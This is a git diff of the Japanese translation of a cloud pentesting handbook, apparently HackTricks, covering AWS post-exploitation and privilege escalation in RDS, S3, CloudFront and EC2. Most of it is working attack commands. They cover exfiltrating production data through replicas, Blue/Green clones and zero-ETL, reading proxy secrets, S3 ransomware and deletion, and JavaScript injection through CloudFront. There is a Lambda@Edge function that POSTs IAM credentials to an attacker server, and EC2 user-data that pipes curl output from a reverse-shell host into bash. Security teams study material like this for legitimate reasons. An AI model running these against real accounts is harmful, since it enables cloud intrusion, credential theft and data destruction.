攻撃者が制御する資格情報でレプリカ経由の本番データへの読み取り専用アクセスが可能。プライマリが触られずレプリケーションが継続するため、検出される可能性が低くなります。 +影響: 攻撃者が制御する資格情報でアクセス可能な read-only な replica 経由で本番データの読み取りが可能になります。primary が触られず replication が継続するため、検出される可能性は低くなります。 ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -304,13 +340,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # Optional: promote for persistence # aws rds promote-read-replica --db-instance-identifier ``` -証拠の例(MySQL): +証拠例(MySQL): - レプリカDBのステータス: `available`、読み取りレプリケーション: `replicating` - 新しいパスワードでの接続に成功し、`@@read_only=1` により読み取り専用レプリカへのアクセスが確認された。 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -RDS Blue/Greenを悪用して、本番DBを継続的にレプリケートされる読み取り専用のgreen環境へクローンします。次にgreenのマスター資格情報をリセットして、blue (prod) インスタンスに触れずにデータへアクセスします。これはsnapshot sharingよりステルス性が高く、ソースのみに注力した監視を回避することが多い。 +RDS Blue/Green を悪用して、本番 DB を継続的にレプリケートされる読み取り専用の green 環境へクローンします。次に green のマスター資格情報をリセットして、blue (prod) インスタンスに触れずにデータへアクセスします。これは snapshot sharing よりステルス性が高く、ソースのみを監視している検知を回避しやすいです。 ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,22 +393,21 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -影響: 本番インスタンスを変更せずに、本番のニアリアルタイムなクローンに対して読み取り専用ながらフルデータアクセスが可能です。ステルスなデータ抽出やオフライン解析に有用です。 - +影響: 読み取り専用だが、本番環境のほぼリアルタイムなクローンに対して完全なデータアクセスが可能で、本番インスタンスを変更せずにステルスなデータ抽出やオフライン解析に有用です。 ### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password -Aurora を悪用してターゲットクラスタで RDS Data API HTTP endpoint を有効化し、master password を自分で管理する値にリセットして、HTTPS 経由で SQL を実行します(VPC ネットワーク経路は不要)。Data API/EnableHttpEndpoint をサポートする Aurora エンジンで動作します(例: Aurora MySQL 8.0 provisioned; 一部の Aurora PostgreSQL/MySQL バージョン)。 +ターゲットクラスターでRDS Data APIのHTTP endpointを有効化し、マスターパスワードを自分で制御できる値にリセットして、HTTPS経由でSQLを実行します(VPCネットワーク経路は不要)。Data API/EnableHttpEndpointをサポートするAuroraエンジンで動作します(例: Aurora MySQL 8.0 provisioned; 一部のAurora PostgreSQL/MySQLバージョン)。 必要な権限(最小): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -影響: ネットワーク分離を回避し、DB への直接的な VPC 接続なしに AWS APIs 経由でデータを抽出して持ち出すことができます。 +影響: ネットワーク分割を回避し、DBへの直接的なVPC接続なしにAWS APIs経由でデータをexfiltrateできます。
-End-to-end CLI (Aurora MySQL の例) +エンドツーエンド CLI(Aurora MySQL の例) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -425,23 +460,23 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
注意: -- rds-data によってマルチステートメント SQL が拒否される場合は、個別に execute-statement を実行してください。 -- modify-db-cluster --enable-http-endpoint が効果を持たないエンジンでは、rds enable-http-endpoint --resource-arn を使用してください。 -- エンジン/バージョンが実際に Data API をサポートしていることを確認してください。そうでないと HttpEndpointEnabled は False のままになります。 +- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls. +- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn. +- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False. -### RDS Proxy の認証用 Secrets Manager シークレット経由で DB 資格情報を収集 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### RDS Proxy の認証シークレットから DB 認証情報を収集する (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -RDS Proxy の設定を悪用してバックエンド認証に使われている Secrets Manager シークレットを特定し、そのシークレットを読み取ってデータベース資格情報を取得します。多くの環境では `secretsmanager:GetSecretValue` が広範に許可されており、DB 資格情報への低摩擦なピボットになります。シークレットが CMK を使用している場合、範囲を誤った KMS 権限により `kms:Decrypt` が可能になることもあります。 +RDS Proxy の設定を悪用してバックエンド認証に使用される Secrets Manager のシークレットを特定し、そのシークレットを読み取ってデータベースの認証情報を取得します。多くの環境では広範な `secretsmanager:GetSecretValue` が付与されており、これにより DB 認証情報への低摩擦なピボットが可能になります。もしシークレットが CMK を使用している場合、権限が正しくスコープされていない KMS 権限により `kms:Decrypt` が可能になることもあります。 -Permissions needed (minimum): +必要な権限(最小): - `rds:DescribeDBProxies` -- `secretsmanager:GetSecretValue` on the referenced SecretArn -- Optional when the secret uses a CMK: `kms:Decrypt` on that key +- 参照されている SecretArn に対する `secretsmanager:GetSecretValue` +- シークレットが CMK を使用している場合のオプション: そのキーに対する `kms:Decrypt` -Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement. +影響: プロキシに設定された DB のユーザー名/パスワードが即時に露呈し、直接の DB アクセスやさらなる横展開が可能になる。 -Steps +手順 ```bash # 1) Enumerate proxies and extract the SecretArn used for auth aws rds describe-db-proxies \ @@ -454,7 +489,7 @@ aws secretsmanager get-secret-value \ --query SecretString --output text # Example output: {"username":"admin","password":"S3cr3t!"} ``` -ラボ(再現に必要な最小構成) +ラボ(再現のための最小構成) ```bash REGION=us-east-1 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) @@ -473,27 +508,27 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ aws rds wait db-proxy-available --db-proxy-name p0 # Now run the enumeration + secret read from the Steps above ``` -クリーンアップ(ラボ) +クリーンアップ (lab) ```bash aws rds delete-db-proxy --db-proxy-name p0 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` -### ステルスな継続的データ流出 via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) +### ステルスな継続的 exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) -Aurora PostgreSQL zero‑ETL integrationを悪用して、本番データをあなたが管理するRedshift Serverless namespaceに継続的に複製します。特定のAurora cluster ARNに対してCreateInboundIntegration/AuthorizeInboundIntegrationを許可する緩いRedshift resource policyがある場合、攻撃者はDB creds、スナップショット、ネットワーク露出なしでほぼリアルタイムのデータコピーを確立できます。 +Aurora PostgreSQL zero‑ETL integration を悪用して、本番データをあなたが制御する Redshift Serverless namespace に継続的に複製します。特定の Aurora cluster ARN に対して CreateInboundIntegration/AuthorizeInboundIntegration を許可する寛容な Redshift resource policy があると、攻撃者は DB creds、snapshots、あるいはネットワーク公開なしでほぼリアルタイムのデータコピーを確立できます。 -必要な権限(最低): +Permissions needed (minimum): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` -- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query) -- `rds-data:ExecuteStatement` (optional; to seed data if needed) +- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (クエリ実行用) +- `rds-data:ExecuteStatement` (オプション;必要に応じてデータ投入用) -テスト済み: us-east-1、Aurora PostgreSQL 16.4 (Serverless v2)、Redshift Serverless。 +Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
-1) Redshift Serverless namespace + workgroup を作成 +1) Redshift Serverless namespace と workgroup を作成 ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ @@ -509,7 +544,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
-2) Redshift のリソースポリシーを設定して Aurora ソースを許可する +2) Aurora ソースを許可するように Redshift のリソースポリシーを構成する ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= @@ -540,7 +575,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Aurora PostgreSQL クラスターを作成(Data API と logical replication を有効化) +3) Aurora PostgreSQL クラスターを作成する(Data API と logical replication を有効にする) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -583,7 +618,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
-5) Redshift でレプリケートされたデータをマテリアライズしてクエリする +5) Redshiftで複製されたデータをマテリアライズしてクエリする ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ @@ -597,11 +632,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
テストで観察された証拠: -- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION は integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を DB 作成前に示した。 -- CREATE DATABASE FROM INTEGRATION の後、テーブル一覧を確認するとスキーマ ztl とテーブル customers があり、ztl.customers を選択すると 2 行 (Alice, Bob) が返った。 - -影響: 攻撃者が制御する Redshift Serverless へ、選択された Aurora PostgreSQL テーブルの継続的かつほぼリアルタイムの exfiltration を、database credentials、backups、または network access to the source cluster を使用せずに行える。 +- redshift describe-inbound-integrations: Integration arn:...377a462b-... の Status が ACTIVE +- SVV_INTEGRATION は DB 作成前に integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を示していた +- CREATE DATABASE FROM INTEGRATION の後、テーブル一覧で schema ztl と table customers が表示され、ztl.customers から SELECT すると 2 行 (Alice, Bob) が返った +影響: 攻撃者が制御する Redshift Serverless に対して、選択された Aurora PostgreSQL テーブルが継続的かつほぼリアルタイムで exfiltration される。これは database credentials、backups、または network access to the source cluster を使用せずに行われる。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index 07aaef44c..f76714fe1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -1,4 +1,4 @@ -# AWS - S3 Post Exploitation +# AWS - S3 ポストエクスプロイテーション {{#include ../../../../banners/hacktricks-training.md}} @@ -10,29 +10,60 @@ For more information check: ../../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Sensitive Information +### 機密情報 -バケット内で可読状態の機密情報が見つかることがあります。例えば、terraform state シークレットなど。 +バケット内で読み取り可能な状態の機密情報が見つかることがあります。たとえば、terraform state に含まれる秘密情報などです。 ### Pivoting Different platforms could be using S3 to store sensitive assets.\ -例えば、**airflow** がそこに **DAGs** **code** を保存していることがあり、あるいは **web pages** が S3 から直接配信されている場合があります。書き込み権限を持つ攻撃者は、バケット内の **modify the code** を変更して他のプラットフォームへ **pivot** したり、JS ファイルを改ざんして **takeover accounts** する可能性があります。 +For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. 書き込み権限を持つ攻撃者は、バケット内の **code** を改変して他のプラットフォームへ **pivot** したり、JSファイルを変更してアカウントを **takeover** したりする可能性があります。 ### S3 Ransomware -このシナリオでは、**attacker creates a KMS (Key Management Service) key in their own AWS account** または別の侵害されたアカウントで KMS キーを作成します。次に、この **key accessible to anyone in the world** にして、任意の AWS user、role、または account がこのキーを使ってオブジェクトを暗号化できるようにします。ただし、オブジェクトは復号できません。 +このシナリオでは、**attacker creates a KMS (Key Management Service) key in their own AWS account** または別の侵害されたアカウント内に作成した KMS キーを使用します。攻撃者はこの **key** を世界中の誰でも利用できるようにして、任意の AWS ユーザー、ロール、またはアカウントがこのキーでオブジェクトを暗号化できるようにします。ただし、オブジェクトの復号はできません。 -攻撃者はターゲットの **S3 bucket and gains write-level access** を特定し、さまざまな方法で書き込み権限を取得します。これはバケットの設定不備で公開されている場合や、攻撃者が AWS 環境自体にアクセスした場合などが考えられます。攻撃者は通常、PII、PHI、ログ、バックアップなどの機密情報を含むバケットを狙います。 +攻撃者はターゲットの **S3 bucket** を特定し、様々な方法でそこへの書き込み権限を取得します。これはバケットの設定不備により公開されている場合や、攻撃者が AWS 環境自体へアクセスを得た場合などが考えられます。攻撃者は通常、PII、PHI、ログ、バックアップなどの機密情報を含むバケットを標的にします。 -バケットが ransomare の対象になり得るかを判断するため、攻撃者はその設定を確認します。これには、**S3 Object Versioning** が有効か、**multi-factor authentication delete (MFA delete) is enabled** かどうかの確認が含まれます。Object Versioning が有効でない場合、攻撃者は進行できます。Object Versioning が有効で MFA delete が無効であれば、攻撃者は **disable Object Versioning** することができます。もし両方が有効であれば、その特定のバケットを ransomware するのはより困難になります。 +ターゲットのバケットがランサムウェアの対象になり得るかを判断するため、攻撃者はその設定を確認します。これには **S3 Object Versioning** が有効かどうか、**multi-factor authentication delete (MFA delete)** が有効かどうかの確認が含まれます。Object Versioning が有効でない場合、攻撃者は作業を進められます。Object Versioning が有効で MFA delete が無効であれば、攻撃者は **Object Versioning を無効化** できます。両方とも有効であれば、そのバケットをランサムウェア化するのはより困難になります。 -Using the AWS API、攻撃者は **replaces each object in the bucket with an encrypted copy using their KMS key** を実行します。これによりバケット内のデータが実質的に暗号化され、キーがなければアクセスできなくなります。 +攻撃者は AWS API を使って、**バケット内の各オブジェクトを自分の KMS キーで暗号化したコピーに置き換えます**。これによりバケット内のデータが事実上暗号化され、キーがなければアクセス不能になります。 -さらに圧力をかけるため、攻撃者は攻撃に使用した KMS キーの削除をスケジュールします。これによりターゲットはキー削除前の 7 日間でデータを回復する時間が与えられ、キーが削除されるとデータは永久に失われます。 +さらに圧力をかけるため、攻撃者は攻撃で使用した KMS キーの削除をスケジュールすることがあります。これにより、キーが削除されデータが永久に失われる前にターゲットに 7 日間の復旧猶予を与えます。 -最後に、攻撃者は通常 "ransom-note.txt" という名前のファイルをアップロードして、被害者がファイルを取り戻す方法を指示することがあります。このファイルは暗号化せずにアップロードされることが多く、被害者の注意を引いて ransomware 攻撃を認識させる目的があります。 +最後に、攻撃者は通常 "ransom-note.txt" という名前の最終ファイルをアップロードし、ファイルの回収方法についての指示を記載します。このファイルは暗号化せずにアップロードされ、ターゲットの注意を引きランサムウェア攻撃を知らせる目的があります。 -**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +### `s3:RestoreObject` + +s3:RestoreObject 権限を持つ攻撃者は Glacier や Deep Archive にアーカイブされたオブジェクトを復活させ、一時的にアクセス可能にできます。これにより、通常は手の届かない履歴的なアーカイブデータ(バックアップ、スナップショット、ログ、証明書、古いシークレットなど)の回収や流出が可能になります。攻撃者がこの権限を読み取り権限(例: s3:GetObject)と組み合わせると、機密データの完全なコピーを取得できます。 +```bash +aws s3api restore-object \ +--bucket \ +--key \ +--restore-request '{ +"Days": , +"GlacierJobParameters": { "Tier": "Standard" } +}' +``` +### `s3:Delete*` + +s3:Delete* 権限を持つ攻撃者はオブジェクト、バージョン、バケット全体を削除でき、バックアップを破壊し、即時かつ不可逆的なデータ損失、証拠の破壊、バックアップやリカバリに関連するアーティファクトの改ざんや破損を引き起こす可能性があります。 +```bash +# Delete an object from a bucket +aws s3api delete-object \ +--bucket \ +--key + +# Delete a specific version +aws s3api delete-object \ +--bucket \ +--key \ +--version-id + +# Delete a bucket +aws s3api delete-bucket \ +--bucket +``` +**詳しくは** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md new file mode 100644 index 000000000..812f179c6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md @@ -0,0 +1,217 @@ +# AWS - CloudFront Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig` + +cloudfront:UpdateDistribution と cloudfront:GetDistributionConfig の権限を持つ攻撃者は、CloudFront distribution の設定を変更できます。攻撃者はターゲットの S3 バケット自体の権限を必要としませんが、そのバケットが cloudfront.amazonaws.com サービスプリンシパルからのアクセスを許可する寛容なポリシーを持っていると攻撃は容易になります。 + +攻撃者は distribution の origin 設定を別の S3 バケットや攻撃者が管理するサーバーを指すように変更します。まず現在の distribution 設定を取得します: +```bash +aws cloudfront get-distribution-config --id | jq '.DistributionConfig' > current-config.json +``` +次に、current-config.json を編集して origin を新しいリソース — 例えば別の S3 バケット — を指すようにします: +```bash +... +"Origins": { +"Quantity": 1, +"Items": [ +{ +"Id": "", +"DomainName": ".s3.us-east-1.amazonaws.com", +"OriginPath": "", +"CustomHeaders": { +"Quantity": 0 +}, +"S3OriginConfig": { +"OriginAccessIdentity": "", +"OriginReadTimeout": 30 +}, +"ConnectionAttempts": 3, +"ConnectionTimeout": 10, +"OriginShield": { +"Enabled": false +}, +"OriginAccessControlId": "E30N32Y4IBZ971" +} +] +}, +... +``` +最後に、変更した設定を適用してください(更新する際は現在の ETag を指定する必要があります): +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ +--id \ +--distribution-config file://current-config.json \ +--if-match $CURRENT_ETAG +``` + +### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction` +An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions. + +The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses: + +```bash +function handler(event) { +var request = event.request; +var response = event.response; +// Create a new body with malicious JavaScript +var maliciousBody = ` + + + +Compromised Page + + +

Original Content

+

This page has been modified by CloudFront Functions

+ + + +`; +// Replace the body entirely +response.body = { encoding: "text", data: maliciousBody }; +// Update headers +response.headers["content-type"] = { value: "text/html; charset=utf-8" }; +response.headers["content-length"] = { +value: maliciousBody.length.toString(), +}; +response.headers["x-cloudfront-function"] = { value: "malicious-injection" }; +return response; +} +``` + +Commands to create, publish and attach the function: + +```bash +# CloudFront に malicious function を作成 +aws cloudfront create-function --name malicious-function --function-config '{ +"Comment": "Malicious CloudFront Function for Code Injection", +"Runtime": "cloudfront-js-1.0" +}' --function-code fileb://malicious-function.js + +# DEVELOPMENT ステージの関数の ETag を取得 +aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text + +# 関数を LIVE ステージに公開する +aws cloudfront publish-function --name malicious-function --if-match +``` + +Add the function to the distribution configuration (FunctionAssociations): + +```bash +"FunctionAssociations": { +"Quantity": 1, +"Items": [ +{ +"FunctionARN": "arn:aws:cloudfront:::function/malicious-function", +"EventType": "viewer-response" +} +] +} +``` + +Finally update the distribution configuration (remember to supply the current ETag): + +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG +``` + +### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution` + +An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required. + +The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials: + +```bash +// malicious-lambda-edge.js +exports.handler = async (event) => { +// Obtain role credentials +const credentials = { +accessKeyId: process.env.AWS_ACCESS_KEY_ID, +secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, +sessionToken: process.env.AWS_SESSION_TOKEN, +}; +// Send credentials to attacker's server +try { +await fetch("https:///steal-credentials", { +method: "POST", +headers: { "Content-Type": "application/json" }, +body: JSON.stringify(credentials) +}); +} catch (error) { +console.error("Error sending credentials:", error); +} +if (event.Records && event.Records[0] && event.Records[0].cf) { +// Modify response headers +const response = event.Records[0].cf.response; +response.headers["x-credential-theft"] = [ +{ +key: "X-Credential-Theft", +value: "Successful", +}, +]; +return response; +} +return { +statusCode: 200, +body: JSON.stringify({ message: "Credentials stolen" }) +}; +}; +``` + +```bash +# Lambda@Edge 関数をパッケージ化する +zip malicious-lambda-edge.zip malicious-lambda-edge.js + +# 特権ロールで Lambda@Edge 関数を作成する +aws lambda create-function \ +--function-name malicious-lambda-edge \ +--runtime nodejs18.x \ +--role \ +--handler malicious-lambda-edge.handler \ +--zip-file fileb://malicious-lambda-edge.zip \ +--region + +# 関数のバージョンを公開する +aws lambda publish-version --function-name malicious-lambda-edge --region +``` + +Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version: + +```bash +"LambdaFunctionAssociations": { +"Quantity": 1, +"Items": [ +{ +"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1", +"EventType": "viewer-response", +"IncludeBody": false +} +] +} +``` + +```bash +# 更新した distribution config を適用する(現在の ETag を使用する必要があります) +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ +--id \ +--distribution-config file://current-config.json \ +--if-match $CURRENT_ETAG + +# distribution にリクエストして function をトリガーする +curl -v https://.cloudfront.net/ +``` + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md index aeaaff586..78f8f28e6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -4,7 +4,7 @@ ## EC2 -EC2に関する**詳細情報**は以下を参照してください: +EC2に関する**詳細情報**は次を参照: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,19 +12,19 @@ EC2に関する**詳細情報**は以下を参照してください: ### `iam:PassRole`, `ec2:RunInstances` -攻撃者は**IAMロールをアタッチしたインスタンスを作成してそのインスタンスにアクセスする**ことで、メタデータエンドポイントからIAMロールの資格情報を盗む可能性があります。 +攻撃者は、**IAM roleをアタッチしたインスタンスを作成し、そのインスタンスにアクセスすることで**、メタデータエンドポイントからIAM roleの認証情報を盗むことができる。 - **SSH経由でのアクセス** -新しいインスタンスを**作成済みの** **ssh key**(`--key-name`)で起動し、その後sshでログインします(新しいkeyを作成する場合は、`ec2:CreateKeyPair`の権限が必要になることがあります)。 +新しいインスタンスを、**作成済みの** **ssh key**(`--key-name`)を使って起動し、その後sshでログインする(新しいkeyを作成する場合は`ec2:CreateKeyPair`の権限が必要になる可能性がある)。 ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ --security-group-ids ``` -- **user data内のrev shellを使ったアクセス** +- **user dataでのrev shellによるアクセス** -新しいinstanceを**user data** (`--user-data`) を使って起動し、あなたに**rev shell**を送るようにできます。 この方法ではsecurity groupを指定する必要はありません。 +**user data** (`--user-data`) を使って新しいインスタンスを起動し、あなたに **rev shell** を送るようにできます。この方法では **security group** を指定する必要はありません。 ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -インスタンス外で IAM role の credentials を使用する場合は、GuradDuty に注意してください: +Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance: {{#ref}} ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potential Impact:** 既存の instance profiles にアタッチされている任意の EC2 role への直接的な privesc. +**潜在的な影響:** 既存の instance profiles にアタッチされている EC2 role への直接的な privesc。 #### Privesc to ECS -この権限セットがあれば、**EC2 instance を作成し ECS cluster に登録する**こともできます。これにより、ECS の **services** はあなたがアクセスできる **EC2 instance** 内で **run** され、そこでそれらの services(docker containers)に侵入して、アタッチされている **ECS roles** を盗むことができます。 +この権限セットがあれば、**EC2 instance を作成して ECS cluster 内に登録する**こともできます。こうすることで、アクセス可能な **EC2 instance** 内で ECS の **services** が **run** され、そこに展開されているサービス(docker containers)に侵入して、**steal their ECS roles attached** ことができます。 ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -67,12 +67,12 @@ To learn how to **force ECS services to be run** in this new EC2 instance check: If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. -**潜在的影響:** Direct privesc to ECS roles attached to tasks. +**Potential Impact:** タスクにアタッチされた ECS roles への直接的な privesc。 ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -前のシナリオと同様に、これらの権限を持つ攻撃者は **compromised instance の IAM role を変更** して新しい credentials を奪取することができます.\ -As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**. +前のシナリオと同様に、これらの権限を持つ攻撃者は、侵害されたインスタンスの IAM ロールを変更して新しい認証情報を窃取することができます。\ +インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルが**すでにロールを持っている**(一般的なケース)場合、さらに **`iam:RemoveRoleFromInstanceProfile`** が必要になります。 ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -80,19 +80,21 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -もし**instance profile が role を持っていて**攻撃者がそれを**削除できない**場合、別の回避策があります。攻撃者は**role のない instance profile を見つける**か、**新しいものを作成する**(`iam:CreateInstanceProfile`)、その**instance profile に role を追加する**(前述の通り)、そして侵害した**instance にその instance profile を関連付ける**: +もし**instance profile has a role**で、attackerが**cannot remove it**場合、別の回避策がある。 -- もしその instance に**instance profile が何もない**場合(`ec2:AssociateIamInstanceProfile`) +attackerは**find**して**instance profile without a role**を見つけるか、**create a new one**(`iam:CreateInstanceProfile`)、その**role**をその**instance profile**に**add**し(前述の通り)、そしてその**instance profile**をcompromisedなi**nstance**に**associate the instance profile**できる: + +- もしインスタンスが**doesn't have any instance** profileの場合(`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**潜在的影響:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**潜在的影響:** Direct privesc to a different EC2 role (既に AWS EC2 インスタンスを侵害しており、追加の権限または特定のインスタンスプロファイルの状態が必要です)。 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -これらの権限があれば、ある instance に関連付けられている instance profile を変更することが可能です。攻撃者が既にその instance にアクセスしている場合、関連付けられている instance profile を変更することで、より多くの instance profile roles の認証情報を盗むことができるようになります。 +With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it. -- もしそれが **instance profile を持っている** 場合、`ec2:DisassociateIamInstanceProfile` を使って instance profile を **削除** し、そして **関連付ける** ことができます +- もしインスタンスに**インスタンスプロファイルがある**場合、インスタンスプロファイルを**削除**(`ec2:DisassociateIamInstanceProfile`)し、別のものを**関連付け**(`ec2:AssociateIamInstanceProfile`)できます。 ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id @@ -102,12 +104,12 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -**潜在的な影響:** 別の EC2 ロールへの直接的な privesc(AWS EC2 インスタンスを侵害しており、追加の権限または特定のインスタンスプロファイルの状態が必要)。 +**Potential Impact:** 別の EC2 role への直接的な privesc(AWS EC2 instance を侵害しており、追加の権限または特定の instance profile の状態が必要)。 ### `ec2:RequestSpotInstances`,`iam:PassRole` -権限 **`ec2:RequestSpotInstances`and`iam:PassRole`** を持つ攻撃者は、**request** により **Spot Instance** を **EC2 Role attached** の状態で起動し、**user data** に **rev shell** を置くことができます。\ -インスタンスが実行されると、攻撃者は **steal the IAM role** できます。 +権限 **`ec2:RequestSpotInstances`and`iam:PassRole`** を持つ攻撃者は、**request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\ +インスタンスが起動すると、攻撃者は **steal the IAM role** することができます。 ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -119,9 +121,10 @@ aws ec2 request-spot-instances \ ``` ### 